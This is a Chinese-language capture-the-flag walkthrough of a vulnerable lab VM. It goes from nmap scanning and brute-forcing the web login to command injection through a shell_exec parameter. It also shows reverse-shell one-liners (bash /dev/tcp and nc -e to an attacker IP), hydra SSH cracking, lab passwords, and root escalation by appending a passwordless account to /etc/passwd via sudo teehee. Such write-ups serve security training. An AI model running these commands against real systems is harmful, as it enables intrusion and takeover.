下载,安装(vmware直接导入文件),桥接
kali开始nmap扫描
nmap -sP 192.168.123.0/24
找到目标ip:192.168.123.9
浏览器访问,就一个登陆页面
nmap扫描端口;只有22和80
可以确定是linux了(废话)
再dirsearch扫描目录
也没有有用的信息
先试试注入,手注和sqlmap都没找出什么来
burp抓包跑字典暴力破解再试试看
暴力破解出了结果
admin
happy
登陆后的页面,
只有一个command,点进去,有3个命令供执行
ls -l 显示目录内容列表
du -h 显示每个文件和目录的磁盘使用情况
df -h 显示磁盘相关信息
试试抓包,执行命令作为明文参数,修改成别的,发现也可以执行(这里我是换成了dir)
验证其可行性后,试试看别的命令,cat command.php
可以看到执行命令的是这个shell_exec()函数
用户是www-data,权限组在33
没有写文件的权限
直接反弹shell
看上去像是把命令里的&符当成分隔符了。编码一下就解决了
bash+-i+>%26%2Fdev%2Ftcp%2F192.168.123.42%2F1234+0>%261
然鹅还是反弹不出来,看不到报错,也不知道是什么的原因
换nc反弹
nc 192.168.123.41 1234 -e /bin/bash
反弹成功
查看是否有可用于suid提权的文件
find / -user root -perm -4000 -print 2>/dev/null
没找到
sudo也用不了
uname -a和lsb_release -a查看系统版本
去sploitdb里面找是否有可以用的漏洞
有一些关于ssh的漏洞,但是在反弹回来的shell下,我没有权限wget下载文件
看了一些别人的博客,到/home目录下,有三个用户
但是只有jim下面有文件
backups里面有一个oldpasswd.bak,是一些密码,估计是要爆破
mbox打不开,没有权限
test.sh文件内容像是提示
先尝试爆破
把oldpasswords.bak中的数据保存下来(jim.txt)
再使用hydra进行爆破
hydra -l jim -P jim.txt 192.168.123.9 ssh
不到半分钟就出来了
密码:jibril04
通过ssh登陆jim
查看mbox文件内容
看内容是一封邮件
从jim这边查找文件,再var/mail下看到一封jim的邮件,打开
得到了用户charles的密码^xHhA&hvim0y
试着登陆一下
成功
跟着这个思路,回到www-data,查看www-data文件,
有很多封邮件,但是都没用
登陆到charles后,可以使用sudo
用sudo -l看一下,命令teehee不需要密码就可以执行,用
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
在passwd下面添加一个没有密码的root用户,
然后就可以在/root下找到flag了